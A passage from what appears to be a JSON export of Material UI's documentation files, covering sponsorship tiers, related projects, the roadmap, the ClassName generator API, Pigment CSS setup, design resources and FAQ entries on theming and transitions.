amount of work needed to achieve business goals and reducing running costs, the open-source libraries result in huge time and money savings for users.\nWe encourage organizations to contribute a portion of these savings back, enabling the project to advance more rapidly and result in even greater savings for your organization.\n\n### What's the difference between Open Collective and the for-profit?\n\nFunds donated via Open Collective are managed transparently and aimed to sustain the MIT projects.\nThe MUI non-profit organzation benefits from the Open Collective's fiscal sponsorship (hosted as a non-profit), in exchange for 10% of the donations.\n\nFunds transferred to the MUI for-profit organization support the company's mission.\n\n## Services\n\nThese great services sponsor our open-source projects:\n\n<span class=\"only-light-mode\">\n  <img src=\"/static/readme/github-lightmode.svg\" alt=\"GitHub logo\" loading=\"lazy\" width=\"300\" height=\"107\" style=\"width:80px; display: block; margin-bottom: 2px;\">\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/readme/github-darkmode.svg\" alt=\"GitHub logo\" loading=\"lazy\" width=\"300\" height=\"107\" style=\"width:80px; display: block; margin-bottom: 2px;\">\n</span>\n\n[GitHub](https://github.com/) lets us host the Git repository and coordinate contributions.\n\n<span class=\"only-light-mode\">\n  <img src=\"/static/readme/netlify-lightmode.svg\" alt=\"Netlify logo\" loading=\"lazy\" width=\"180\" height=\"49\" style=\"width: 100px; margin-top: 1.2rem; margin-bottom: 2px; display: block;\">\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/readme/netlify-darkmode.svg\" alt=\"Netlify logo\" loading=\"lazy\" width=\"180\" height=\"49\" style=\"width: 100px; margin-top: 1.2rem; margin-bottom: 2px; display: block;\">\n</span>\n\n[Netlify](https://www.netlify.com/) lets us distribute the documentation.\n\n<span class=\"only-light-mode\">\n  <img src=\"/static/readme/browserstack-lightmode.svg\" alt=\"BrowserStack logo\" loading=\"lazy\" width=\"180\" height=\"32\" style=\"width: 140px; margin-top: 1.2rem; margin-bottom: 2px; display: block;\">\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/readme/browserstack-darkmode.svg\" alt=\"BrowserStack logo\" loading=\"lazy\" width=\"180\" height=\"32\" style=\"width: 140px; margin-top: 1.2rem; margin-bottom: 2px; display: block;\">\n</span>\n\n[BrowserStack](https://www.browserstack.com/) lets us test in real browsers.\n\n<img loading=\"lazy\" alt=\"CodeCov logo\" src=\"https://avatars.githubusercontent.com/u/8226205?s=210\" width=\"36\" height=\"36\" style=\"margin-top: 1.2rem; margin-bottom: 2px; display: block;\">\n\n[CodeCov](https://about.codecov.io/) lets us monitor test coverage.\n\n## Tier benefits\n\n### Diamond\n\nYour organization logo will be prominently featured:\n\n- on the sidebar of all content pages (4m+ sessions, 900k+ unique visitors/month)\n- the [homepage](https://mui.com/#sponsors) (500k+ pageviews and 150k+ unique visitors/month)\n- the [README.md](https://github.com/mui/material-ui#sponsors) (80k+ unique visitors/month)\n- the [Diamond sponsor list](#diamond-sponsors)\n\nPlease contact us at sponsoring@mui.com before subscribing to this tier to get preliminary approval.\n\n### Gold\n\nYour organization logo will be placed in:\n\n- the [homepage](https://mui.com/#sponsors) (500k+ pageviews and 150k+ unique visitors/month)\n- the [README.md](https://github.com/mui/material-ui#sponsors) (80k+ unique visitors/month)\n- the [Gold sponsor list](#gold-sponsors)\n\n\\*for backlink sponsors, your logo won't be visible.\n\n### Silver\n\nYour organization logo will be placed in the [Silver sponsor list](#silver-sponsors).\n\n### Bronze\n\nYour organization logo will be placed in the [Bronze sponsor list](#bronze-sponsors).\n\n### Backers\n\nHelp support more open-source development by becoming a Backer.\nWe'll thank you by including your avatar in the [backers list](#backers).\n"
  },
  {
    "path": "docs/data/material/discover-more/changelog/changelog.md",
    "content": "# Changelog\n\n<p class=\"description\">Material UI follows Semantic Versioning 2.0.0.</p>\n\nAll notable changes of the current major version are described in the [CHANGELOG.md file](https://github.com/mui/material-ui/blob/HEAD/CHANGELOG.md).\nChanges of older versions are described in the [CHANGELOG.old.md file](https://github.com/mui/material-ui/blob/HEAD/CHANGELOG.old.md)\n"
  },
  {
    "path": "docs/data/material/discover-more/related-projects/related-projects.md",
    "content": "# Related projects\n\n<p class=\"description\">A carefully curated list of tools that expand or build on top of Material UI.</p>\n\nThe MUI org and developers from the community have built some excellent supplemental tools for working with Material UI—this page highlights some of the best that we've seen.\n\nDo you have a project that you think should be featured here?\nFeel free to submit a pull request and the maintainers will work with you to write the description.\n\n## Third-party admin frameworks\n\n- [React-admin](https://github.com/marmelab/react-admin): A front-end framework for building data-driven applications running in the browser on top of REST/GraphQL APIs.\n- [Refine](https://github.com/refinedev/refine): An open source, headless React meta-framework for the rapid development of web applications.\n\n## Third-party theming tools\n\n- [Material palette generator](https://m2.material.io/inline-tools/color/): The official Material Design 2 palette generator tool.\n\n## Supplementary components\n\n### Layout\n\n- [MUI Treasury Layout](https://mui-treasury.com/?path=/docs/layout-v6-introduction--docs): Components to handle the overall layout of a page. Check out examples such as [a legacy.reactjs.org clone](https://mui-treasury.com/?path=/story/layout-v6-app-react-legacy--react-legacy).\n\n### Image\n\n- [mui-image](https://github.com/benmneb/mui-image): The only Material UI image component to satisfy the Material Design 2 guidelines for loading images.\n\n### Chips input\n\n- [mui-chips-input](https://github.com/viclafouch/mui-chips-input): A chips input designed for use with Material UI.\n\n### Phone number input\n\n- [mui-tel-input](https://github.com/viclafouch/mui-tel-input): A phone number input designed for use with Material UI, built with [libphonenumber-js](https://www.npmjs.com/package/libphonenumber-js).\n\n### One-time password input\n\n- [mui-otp-input](https://github.com/viclafouch/mui-otp-input): A one-time password input designed for use with Material UI.\n\n### File input\n\n- [mui-file-input](https://github.com/viclafouch/mui-file-input): A file input designed for use with Material UI.\n\n### Color input\n\n- [mui-color-input](https://github.com/viclafouch/mui-color-input): A color input designed for use with Material UI, built with [TinyColor](https://tinycolor.vercel.app/).\n\n### Rich text editor\n\n- [mui-tiptap](https://github.com/sjdemartini/mui-tiptap): A customizable Material UI-styled WYSIWYG rich text editor, built with [Tiptap](https://tiptap.dev/).\n\n### Form\n\n<!-- To sync with text-fields.md -->\n\n- [react-hook-form-mui](https://github.com/dohomi/react-hook-form-mui): Material UI and [react-hook-form](https://react-hook-form.com/) combined.\n- [formik-material-ui](https://github.com/stackworx/formik-mui): Bindings for using Material UI with [formik](https://formik.org/).\n- [mui-rff](https://github.com/lookfirst/mui-rff): Bindings for using Material UI with [React Final Form](https://final-form.org/react).\n- [@ui-schema/ds-material](https://www.npmjs.com/package/@ui-schema/ds-material) Bindings for using Material UI with [UI Schema](https://github.com/ui-schema/ui-schema). JSON Schema compatible.\n\n### Notification\n\n- [notistack](https://github.com/iamhosseindhv/notistack): Display multiple snackbars that can be stacked and queued—this tool makes it simpler to handle the open and close states.\n"
  },
  {
    "path": "docs/data/material/discover-more/roadmap/roadmap.md",
    "content": "# Roadmap\n\n<p class=\"description\">Keep up with ongoing projects and help shape the future of Material UI.</p>\n\n## How we prioritize\n\nMaterial UI is a community-driven project, meaning we usually pick the issues and suggestions that resonate the most with the community.\nTherefore, make sure to leave an upvote 👍 on [the GitHub issues](https://github.com/mui/material-ui/issues?q=is:open+is:issue+label:%22package:+material-ui%22) you are most interested in.\n\nAdditionally, we conduct annual [developer surveys](/blog/?tags=Developer+survey/) which also serve as key inputs for Material UI's roadmap.\nYour participation is invaluable—keep an eye on MUI's social media to catch the next survey and help shape the future of the library!\n\n## Keeping track of the roadmap\n\n### GitHub project\n\nThe Material UI GitHub project is where you can see the ongoing priorities for the library.\nWe typically add umbrella issues to the project board after discussing them internally.\n\n**[Visit the Material UI project board 👉](https://github.com/orgs/mui/projects/23/views/12)**\n\n<img src=\"/static/material-ui/roadmap/github-project.png\" style=\"width: 814px;\" alt=\"A screenshot of the public Material UI GitHub project.\" width=\"1628\" height=\"400\" />\n\n### Milestones\n\nWe also create milestones within the Material UI repository to keep track of larger cycles.\nCheck it out to keep up with ongoing changes and updates to the library.\n\n**[Visit the Material UI milestones page 👉](https://github.com/mui/material-ui/milestones/)**\n\n<img src=\"/static/material-ui/roadmap/milestone.png\" style=\"width: 814px;\" alt=\"A screenshot from GitHub of the Material UI v6 milestone.\" width=\"1628\" height=\"400\" />\n"
  },
  {
    "path": "docs/data/material/discover-more/showcase/showcase.md",
    "content": "# Showcase\n\n<p class=\"description\">Check out these public apps using Material UI to get inspired for your next project.</p>\n\nThis is a curated list of some of the best apps we've seen that show off what's possible with Material UI. Are you also using it? [Show us what you're building](https://github.com/mui/material-ui/issues/22426)! We'd love to see it.\n\n---\n\n{{\"component\": \"modules/components/MaterialShowcase.js\"}}\n"
  },
  {
    "path": "docs/data/material/discover-more/vision/vision.md",
    "content": "# Vision\n\n<p class=\"description\">Our vision is to provide an elegant React implementation of the Material Design guidelines that can be customized to fully match your brand.</p>\n\nThe Material Design guidelines are an incredible starting point, but they do not provide guidance on all aspects or needs of an application. In addition to the guidelines-specific implementation, we want Material UI to become whatever is generally useful for application development, all in the spirit of the Material Design guidelines.\n\nTherefore, Material UI will be not only be an implementation of the Material Design guidelines, but a general use UI library of components that are needed by many. This generalized use doesn't imply any other design methodology. It also means we will have components or combinations that are simply not addressed in the design guidelines.\n\nWe will focus on providing all the low-level tools needed to build a rich user-interface with React. Once we implement the Material Design guidelines (which is a bar set quite high), you should be able to take advantage of it for your own business with any style customization needed. We want to see companies succeeding using Material UI in a way that matches their brand, close to the material philosophy or not. We don't want them to feel that their UI simply looks like another Google product.\n\nFrom a developer's point of view, we want Material UI to:\n\n- Deliver on fully encapsulated / composable React components.\n- Be themeable / customizable.\n- Be cross browser compatible and accessible.\n- Promote developer joy, a sense of community, and an environment where new and experienced developers can learn from each other.\n"
  },
  {
    "path": "docs/data/material/experimental-api/classname-generator/classname-generator.md",
    "content": "# ClassName generator\n\n<p class=\"description\">Configure classname generation at build time.</p>\n\nThis API is introduced in `@mui/material` (v5.0.5) as a replacement of deprecated [`createGenerateClassName`](https://v6.mui.com/system/styles/api/#creategenerateclassname-options-class-name-generator).\n\n:::warning\nThis API is at an unstable stage and is subject to change in the future.\n:::\n\n## Setup\n\nBy default, Material UI generates a global class name for each component slot. For example, `<Button>Text</Button>` generates HTML as:\n\n```html\n<button\n  class=\"MuiButton-root MuiButton-text MuiButton-textPrimary MuiButton-sizeMedium MuiButton-textSizeMedium MuiButtonBase-root css-1ujsas3\"\n>\n  Text\n</button>\n```\n\nTo customize all the class names generated by Material UI components, create a separate JavaScript file to use the `ClassNameGenerator` API.\n\n```js\n// create a new file called `MuiClassNameSetup.js` at the root or src folder.\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '@mui/material/className';\n\nClassNameGenerator.configure(\n  // Do something with the componentName\n  (componentName) => componentName,\n);\n```\n\nand then import the file at the root of the index before any `@mui/*` imports.\n\n```js\nimport './MuiClassNameSetup';\nimport Button from '@mui/material/Button';\n// ...other component imports\n\nfunction App() {\n  return <Button>Text</Button>;\n}\n```\n\nHere are some configuration examples:\n\n### Change class name prefix\n\n```js\n// MuiClassNameSetup.js\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '@mui/material/className';\n\nClassNameGenerator.configure((componentName) => `foo-bar-${componentName}`);\n```\n\nAs a result, the HTML result changes to the following:\n\n```html\n<button\n  class=\"foo-bar-MuiButton-root foo-bar-MuiButton-text foo-bar-MuiButton-textPrimary foo-bar-MuiButton-sizeMedium foo-bar-MuiButton-textSizeMedium foo-bar-MuiButtonBase-root css-1ujsas3\"\n>\n  Button\n</button>\n```\n\n### Rename component class name\n\nEvery Material UI component has `${componentName}-${slot}` classname format. For example, the component name of [`Chip`](/material-ui/react-chip/) is `MuiChip`, which is used as a global class name for every `<Chip />` element. You can remove/change the `Mui` prefix as follows:\n\n```js\n// MuiClassNameSetup.js\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '@mui/material/className';\n\nClassNameGenerator.configure((componentName) => componentName.replace('Mui', ''));\n```\n\nNow, the `Mui` class is gone.\n\n```html\n<div\n  class=\"Chip-root Chip-filled Chip-sizeMedium Chip-colorDefault Chip-filledDefault css-mttbc0\"\n>\n  Chip\n</div>\n```\n\n:::warning\n[State classes](/material-ui/customization/how-to-customize/#state-classes) are not component names and therefore cannot be changed or removed.\n:::\n\n## Caveat\n\n- `ClassNameGenerator.configure` must be called before any Material UI components import.\n- you should always use `[component]Classes` for theming/customization to get the correct generated class name.\n\n  ```diff\n  +import { outlinedInputClasses } from '@mui/material/OutlinedInput';\n\n   const theme = createTheme({\n     components: {\n       MuiOutlinedInput: {\n         styleOverrides: {\n           root: {\n  -          '& .MuiOutlinedInput-notchedOutline': {\n  +          // the result will contain the prefix.\n  +          [`& .${outlinedInputClasses.notchedOutline}`]: {\n               borderWidth: 1,\n             }\n           }\n         }\n       }\n     }\n   });\n  ```\n\n- This API should only be used at build-time.\n- The configuration is applied to all of the components across the application. You cannot target a specific part of the application.\n\n## Framework examples\n\nAlways create an initializer file to hoist the `ClassNameGenerator` call to the top.\n\n```js\n// create a new file called `MuiClassNameSetup.js` at the root or src folder.\n'use client'; // remove this line if you are not using React Server Components\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '@mui/material/className';\n\nClassNameGenerator.configure(\n  // Do something with the componentName\n  (componentName) => componentName,\n);\n\nexport default null;\n```\n\nThen import the file in the main JavaScript source based on the framework.\n\n### Next.js App Router\n\nAdd the `'use client'` directive and import the initializer in `/app/page.js`.\n\n```diff\n+'use client';\n+import './MuiClassNameSetup';\n import * as React from 'react';\n import Button from '@mui/material/Button';\n\n export default function Page() {\n   return (\n     <Button>Text</Button>\n   );\n }\n```\n\n### Next.js Pages Router\n\nImport the initializer in `/pages/_app.js`.\n\n```diff\n+import './MuiClassNameSetup';\n import * as React from 'react';\n import PropTypes from 'prop-types';\n import Head from 'next/head';\n\n export default function MyApp(props) {\n   const { Component, pageProps } = props;\n\n   return (\n     <Component {...pageProps} />\n   );\n }\n```\n\n### Create React App\n\nImport the initializer in `/src/index.js`.\n\n```diff\n+import './MuiClassNameSetup';\n import * as React from 'react';\n import * as ReactDOM from 'react-dom';\n import App from './App';\n\n ReactDOM.render(<App />);\n```\n"
  },
  {
    "path": "docs/data/material/experimental-api/pigment-css/pigment-css.md",
    "content": "# Getting started with Pigment CSS\n\n<p class=\"description\">Learn how to get started customizing your components using Pigment CSS.</p>\n\n:::warning\nPigment CSS is currently in the early alpha stage of development. We're actively working on improving its performance and stability. If you find any problem, please open a [GitHub issue](https://github.com/mui/pigment-css/issues).\n:::\n\n<iframe height=\"400\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/UVeDpUey5Es?si=w8OtdStXHtWWIODa\" title=\"YouTube video player: Getting Started with Pigment CSS\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\n\n[Pigment CSS](https://github.com/mui/pigment-css) is a zero-runtime CSS-in-JS library that pre-compiles at build time, making it compatible with React Server Components and providing you with significant performance improvements over other styling engines.\n\nPigment CSS is compatible with any React component library and can be used with Vite and Next.js.\n\nCheck out the [Migrating to Pigment CSS](/material-ui/migration/migrating-to-pigment-css/) guide if you have an existing Material UI project.\n\n## Prerequisites\n\n- Node.js\n- A package manager\n- A Next.js or Vite project\n\nYou can fast track your Pigment CSS installation and project creation with the following commands:\n\n<codeblock storageKey=\"framework\">\n\n```bash Next.js\ncurl https://codeload.github.com/mui/pigment-css/tar.gz/master | tar -xz --strip=2  pigment-css-master/examples/pigment-css-nextjs-ts\ncd pigment-css-nextjs-ts\n```\n\n```bash Vite\ncurl https://codeload.github.com/mui/pigment-css/tar.gz/master | tar -xz --strip=2 pigment-css-master/examples/pigment-css-vite-ts\ncd pigment-css-vite-ts\n```\n\n</codeblock>\n\n## Manual installation\n\nTo get started on an existing project, install Pigment CSS with the following command:\n\n<codeblock storageKey=\"framework\">\n\n```bash Next.js\nnpm install @pigment-css/react\nnpm install --save-dev @pigment-css/nextjs-plugin\n```\n\n```bash Vite\nnpm install @pigment-css/react\nnpm install --save-dev @pigment-css/vite-plugin\n```\n\n</codeblock>\n\nNext, head over to your config file and import the `withPigment` plugin:\n\n<codeblock storageKey=\"framework\">\n\n```js Next.js\n// next.config.js\nimport { withPigment } from '@pigment-css/nextjs-plugin';\n\nexport default withPigment(nextConfig);\n```\n\n```ts Vite\n// main.tsx\nimport { pigment } from '@pigment-css/vite-plugin';\n\nexport default defineConfig({\n  plugins: [\n    pigment(),\n    // ... Your other plugins.\n  ],\n});\n```\n\n</codeblock>\n\nFinally, import the Pigment CSS stylesheet in your `layout.tsx` (Next.js) or `main.tsx` (Vite) file:\n\n```js\nimport '@pigment-css/react/styles.css';\n```\n\n## Usage\n\nPigment CSS addresses the needs of modern React development: it's compatible with React Server Components and lets you reap the benefits of CSS-in-JS—all without runtime performance costs.\n\nWith Pigment CSS, you can create locally scoped reusable styles, themes, CSS variables, and more.\n\n### Styling\n\nPigment CSS simplifies the creation and definition of styles through various APIs:\n\n- `css`: for reusable styles\n- `globalCss`: for global styles\n- `keyframes`: for reusable animation keyframes\n- `styled`: for styled components\n\n#### Creating reusable styles\n\nUse the `css` API to create reusable styles:\n\n```js\nimport { css } from '@pigment-css/react';\n```\n\nYou can do this with either template or object syntax:\n\n**Template syntax**\n\n```js\nconst bodyBackground = css`\n  background-color: #000;\n  color: #fff;\n`;\n```\n\n**Object syntax**\n\n```js\nconst mainClass = css({\n  display: '#000',\n  color: '#fff',\n});\n```\n\n#### Creating global styles\n\nUse the `globalCss` API to define global styles to load across an entire app.\n\nYou should define these at the top level of your JavaScript file:\n\n```js\nimport { globalCss } from '@pigment-css/react';\n\nglobalCss`\n  body {\n    margin: 0;\n    padding: 0;\n  }\n`;\n```\n\n#### Creating styled components\n\nKeeping styles scoped to components ensures that only the necessary CSS is loaded and leads to better modularity, readability, and maintainability.\nYou can apply conditional styling to your components based on props or runtime values.\n\nUse the `styled` API to create styled components:\n\n```js\nimport { styled } from '@pigment-css/react';\n\nconst Heading = styled('div')({\n  fontSize: '2rem',\n  color: '#9FADBC',\n  fontWeight: 'bold',\n  margin: '1rem',\n});\n```\n\n**Styling based on props**\n\nUse the `variants` key to define different styling options based on props.\nThis approach is recommended when the value of the prop is known at build time.\n\nEach of the `variants` is an object with `props` and `style` keys:\n\n```js\nimport { styled } from '@pigment-css/react';\n\nconst Heading = styled('div')({\n  fontSize: '2rem',\n  color: '#9FADBC',\n  fontWeight: 'bold',\n  margin: '1rem',\n  variants: [\n    {\n      props: { variant: 'success' },\n      style: { color: '#23AD79' },\n    },\n    {\n      props: { size: 'small' },\n      style: { fontSize: '1.5rem' },\n    },\n  ],\n});\n```\n\n**Styling based on runtime values**\n\nWhen the value of a prop is unknown ahead of time, you can style your components based on runtime values:\n\n```js\nconst Heading = styled('h1')({\n  color: ({ isError }) => (isError ? 'red' : 'black'),\n});\n```\n\n### Themes\n\nPigment CSS supports theming to apply consistent styles and values across your application.\nYou can create themes by defining them in your config file:\n\n```js\nimport { withPigment } from '@pigment-css/nextjs-plugin';\n\nexport default withPigment(nextConfig, {\n  theme: {\n    colors: {\n      primary: 'tomato',\n      secondary: 'cyan',\n    },\n    spacing: {\n      unit: 8,\n    },\n    typography: {\n      fontFamily: 'Inter, sans-serif',\n    },\n    // ...more keys and values, it's free style!\n  },\n});\n```\n\nTo access your themes, use a callback with the `styled()` and `css()` APIs:\n\n```js\nconst Heading = styled('h1')(({ theme }) => ({\n  color: theme.colors.primary,\n  fontSize: theme.spacing.unit * 4,\n  fontFamily: theme.typography.fontFamily,\n}));\n```\n\n#### CSS variables support\n\nPigment CSS generates CSS variables from the theme values when they're wrapped by the `extendTheme` utility, creating a `vars` object:\n\n```js\nimport { withPigment, extendTheme } from '@pigment-css/nextjs-plugin';\n\nexport default withPigment(nextConfig, {\n  theme: extendTheme({\n    colors: {\n      primary: 'tomato',\n      secondary: 'cyan',\n    },\n    spacing: {\n      unit: 8,\n    },\n    typography: {\n      fontFamily: 'Inter, sans-serif',\n    },\n  }),\n});\n```\n\n#### Color schemes\n\nYou can use the `colorSchemes` key within the `extendTheme` utility to assign different values based on different conditions, such as switching between dark mode and light mode:\n\n```js\nextendTheme({\n  colorSchemes: {\n    light: {\n      colors: {\n        background: '#f9f9f9',\n        foreground: '#121212',\n      },\n    },\n    dark: {\n      colors: {\n        background: '#212121',\n        foreground: '#fff',\n      },\n    },\n  },\n});\n```\n\nPigment CSS uses the `prefers-color-scheme` media query by default to switch between color schemes:\n\n```js\nconst colorScheme = css`\n  background-color: ${({ theme }) => theme.colorSchemes.dark.colors.background};\n  color: ${({ theme }) => theme.colorSchemes.dark.colors.foreground};\n\n  @media (prefers-color-scheme: light) {\n    background-color: ${({ theme }) => theme.colorSchemes.light.colors.background};\n    color: ${({ theme }) => theme.colorSchemes.light.colors.foreground};\n  }\n`;\n```\n\nYou can also customize the behavior by providing a `getSelector` function:\n\n```diff\n extendTheme({\n   colorSchemes: {\n     light: { ... },\n     dark: { ... },\n   },\n+  getSelector: (colorScheme) => colorScheme ? `.theme-${colorScheme}` : ':root',\n });\n```\n\n### The sx prop\n\nPigment CSS includes [the `sx` prop](/system/getting-started/the-sx-prop/) which lets you provide one-off inline custom styles to any element.\n\nAt build time, Pigment CSS replaces the `sx` prop with `className` and `style` props.\nThe `sx` prop works with all Material UI components as well as HTML elements and any third-party JSX components.\n\n```js\n<div sx={{ display: 'flex', flexDirection: 'column' }}>\n\n<AnyComponent sx={{ fontSize: 12, color: 'red' }} />;\n```\n\nIf you use the `sx` prop on an HTML element, you'll need to augment the `HTMLAttributes` interface:\n\n```ts\ntype Theme = {\n  // your theme type\n};\n\ndeclare global {\n  namespace React {\n    interface HTMLAttributes<T> {\n      sx?:\n        | React.CSSProperties\n        | ((theme: Theme) => React.CSSProperties)\n        | ReadonlyArray<\n            React.CSSProperties | ((theme: Theme) => React.CSSProperties)\n          >;\n    }\n  }\n}\n```\n\n### Runtime theme\n\n:::info\n\n**Caveat**\n\n- Avoid using the runtime theme unless you have a compelling reason.\n- The runtime theme contains [**only serializable values**](https://developer.mozilla.org/en-US/docs/Glossary/Serializable_object) (some functions still exist in `breakpoints` and `transitions` for internal logic inside components but may be removed in the future).\n- The runtime theme will not change between modes (light and dark) because it is pre-compiled at build time. To render something based on the theme structure and its values, use `theme.vars.*` to refer to CSS variables instead.\n\n:::\n\nTo access the runtime theme, use the `useTheme` hook:\n\n```js\nimport { useTheme } from '@mui/material-pigment-css';\n\nfunction MyComponent() {\n  const theme = useTheme();\n\n  return (\n    <div>\n      {Object.entries(theme.vars.palette.primary).map(([key, value]) => (\n        <div key={key} style={{ width: 40, height: 40, background: value }}>\n          {key}: {value}\n        </div>\n      ))}\n    </div>\n  );\n}\n```\n"
  },
  {
    "path": "docs/data/material/getting-started/design-resources/design-resources.md",
    "content": "# Design resources\n\n<p class=\"description\">Be more efficient designing and developing with the same library.</p>\n\n## Design Kits\n\nMaterial UI component designs are available for Figma and Sketch, providing accurate representations using shared terminology for all states, variants, and permutations of each component.\n\nThe design kits are composed of over 1,500 unique elements built to speed up the development process and ease communication for teams of designers and developers using the library.\n\n{{\"component\": \"modules/components/MaterialUIDesignResources.js\"}}\n\n## Material UI Sync Figma plugin\n\nSync is a Figma plugin to help bridge the gap between designers and developers using Material UI.\n\nIt generates a theme file that you can add to your codebase with all the design tokens and component customizations from Figma.\nYou can quickly preview all of the changes through an embedded Storybook panel directly in the plugin interface.\n\nSync is currently in beta and [available for free](https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync) in the Figma Community.\nYou can also head over to [the Sync documentation page](/material-ui/design-resources/material-ui-sync/) to learn more.\n\n<img src=\"/static/material-ui/design-resources/sync.png\" style=\"width: 814px;\" alt=\"Customizing the Material UI Switch component in Figma with the Sync plugin running.\" width=\"1628\" height=\"400\" />\n\n## Third-party resources\n\n### UXPin\n\n[Material UI for UXPin](https://www.uxpin.com/merge/mui-library): A large UI kit of Material UI components.\nThe design tool renders the components in a web runtime. It uses the same React implementation as your production environment.\n"
  },
  {
    "path": "docs/data/material/getting-started/example-projects/example-projects.md",
    "content": "# Example projects\n\n<p class=\"description\">A collection of examples and scaffolds integrating Material UI with popular libraries and frameworks.</p>\n\n## Official integrations\n\n<!-- #target-branch-reference -->\n\nThe following integration examples are available in the [`/examples`](https://github.com/mui/material-ui/tree/master/examples) folder of the Material UI GitHub repository.\nThese examples feature Material UI paired with other popular React libraries and frameworks, so you can skip the initial setup steps and jump straight into building.\n\n:::success\nNot sure which to pick?\nWe recommend Next.js for server-side rendering and more opinionated framework features, or Vite for a lightweight single-page app (SPA).\nSee [Creating a React App](https://react.dev/learn/creating-a-react-app) from the official React docs to learn more about some of the options available.\n:::\n\n{{\"component\": \"modules/components/MaterialUIExampleCollection\"}}\n\n<br />\n\n## Free templates\n\nOnce you've chosen your preferred scaffold above, you could move on to our collection of [free templates](/material-ui/getting-started/templates/) and install a readymade user interface to get started even faster.\n\n## Premium themes and templates\n\nFor more complex prebuilt UIs, check out our [premium themes and templates](https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=example-projects-store) in the MUI Store.\n"
  },
  {
    "path": "docs/data/material/getting-started/faq/faq.md",
    "content": "# Frequently Asked Questions\n\n<p class=\"description\">Stuck on a particular problem? Check some of these common gotchas first in the FAQ.</p>\n\nIf you still can't find what you're looking for, you can refer to our [support page](/material-ui/getting-started/support/).\n\n## MUI is an awesome organization. How can I support it?\n\nThere are many ways to support us:\n\n- **Spread the word**. Evangelize MUI's products by [linking to mui.com](https://mui.com/) on your website—every backlink matters.\n  Follow us on [X](https://x.com/MUI_hq), like and retweet the important news. Or just talk about us with your friends.\n- **Give us feedback**. Tell us what is going well or where there is improvement opportunities. Please upvote (👍) the issues that you are the most interested in seeing solved.\n- **Help new users**. You can answer questions on\n  [Stack Overflow](https://stackoverflow.com/questions/tagged/material-ui).\n- **Make changes happen**.\n  - Edit the documentation. At the bottom of every page, you can find an \"Edit this page\" button.\n  - Report bugs or missing features by [creating an issue](https://github.com/mui/material-ui/issues/new).\n  - Review and comment on existing [pull requests](https://github.com/mui/material-ui/pulls?q=is%3Apr) and [issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n  - [Improve our documentation](https://github.com/mui/material-ui/tree/HEAD/docs), fix bugs, or add features by [submitting a pull request](https://github.com/mui/material-ui/pulls).\n- **Support us financially on [Open Collective](https://opencollective.com/mui-org)**.\n  If you use Material UI in a commercial project and would like to support its continued development by becoming a Sponsor, or in a side or hobby project and would like to become a Backer, you can do so through Open Collective.\n  All funds donated are managed transparently, and Sponsors receive recognition in the README and on the homepage.\n\n## Why do the fixed positioned elements move when a modal is opened?\n\nScrolling is blocked as soon as a modal is opened.\nThis prevents interacting with the background when the modal should be the only interactive content. However, removing the scrollbar can make your **fixed positioned elements** move.\nIn this situation, you can apply a global `.mui-fixed` class name to tell Material UI to handle those elements.\n\n## How can I disable the ripple effect globally?\n\nThe ripple effect is exclusively coming from the `BaseButton` component.\nYou can disable the ripple effect globally by providing the following in your theme:\n\n```js\nimport { createTheme } from '@mui/material';\n\nconst theme = createTheme({\n  components: {\n    // Name of the component ⚛️\n    MuiButtonBase: {\n      defaultProps: {\n        // The props to apply\n        disableRipple: true, // No more ripple, on the whole application 💣!\n      },\n    },\n  },\n});\n```\n\n## How can I disable transitions globally?\n\nMaterial UI uses the same theme helper for creating all its transitions.\nTherefore you can disable all transitions by overriding the helper in your theme:\n\n```js\nimport { createTheme } from '@mui/material';\n\nconst theme = createTheme({\n  transitions: {\n    // So `transition: none;` gets applied everywhere\n    create: () => 'none',\n  },\n});\n```\n\nIt can be useful to disable transitions during visual testing or to improve performance on low-end devices.\n\nYou can go one step further by disabling all transitions and animations effects:\n\n```js\nimport { createTheme } from '@mui/material';\n\nconst theme = createTheme({\n  components: {\n    // Name of the component ⚛️\n    MuiCssBaseline: {\n      styleOverrides: {\n        '*, *::before, *::after': {\n          transition: 'none !important',\n          animation: 'none !important',\n        },\n      },\n    },\n  },\n});\n```\n\nNotice that the usage of `CssBaseline` is required for the above approach to work.\nIf you choose not to use it, you can still disable transitions and animations by including these CSS rules:\n\n```css\n*,\n*::before,\n*::after {\n  transition: 'none !important';\n  animation: 'none !important';\n}\n```\n\n## Do I have to use Emotion to style my app?\n\nNo, it's not required.\nBut if you are using the default styled engine (`@mui/styled-engine`) the Emotion dependency comes built in, so carries no additional bundle size overhead.\n\nPerhaps, however, you're adding some Material UI components to an app that already uses another styling solution,\nor are already familiar with a different API, and don't want to learn a new one? In that case, head over to the\n[Style library interoperability](/material-ui/integrations/interoperability/) section to learn how to restyle Material UI components with alternative style libraries.\n\n## When should I use inline-style vs. CSS?\n\nAs a rule of thumb, only use inline-styles for dynamic style properties.\nThe CSS alternative provides more advantages, such as:\n\n- auto-prefixing\n- better debugging\n- media queries\n- keyframes\n\n## How do I use react-router?\n\nVisit the guide about [integration with third-party routing libraries](/material-ui/integrations/routing/), like react-router or Next.js, for more details.\n\n## How can I access the DOM element?\n\nAll Material UI components that should render something in the DOM forward their\nref to the underlying DOM component. This means that you can get DOM elements\nby reading the ref attached to Material UI components:\n\n```jsx\n// or a ref setter function\nconst ref = React.createRef();\n// render\n<Button ref={ref} />;\n// usage\nconst element = ref.current;\n```\n\nIf you're not sure if the Material UI component in question forwards its ref you can check the API documentation under \"Props.\"\nYou should find the message below, like in the [Button API](/material-ui/api/button/#props).\n\n> The ref is forwarded to the root element.\n\n## My App doesn't render correctly on the server\n\nIf it doesn't work, in 99% of cases it's a configuration issue.\nA missing property, a wrong call order, or a missing component – server-side rendering is strict about configuration.\n\nThe best way to find out what's wrong is to compare your project to an **already working setup**.\nCheck out the [reference implementations](/material-ui/guides/server-rendering/#reference-implementations), bit by 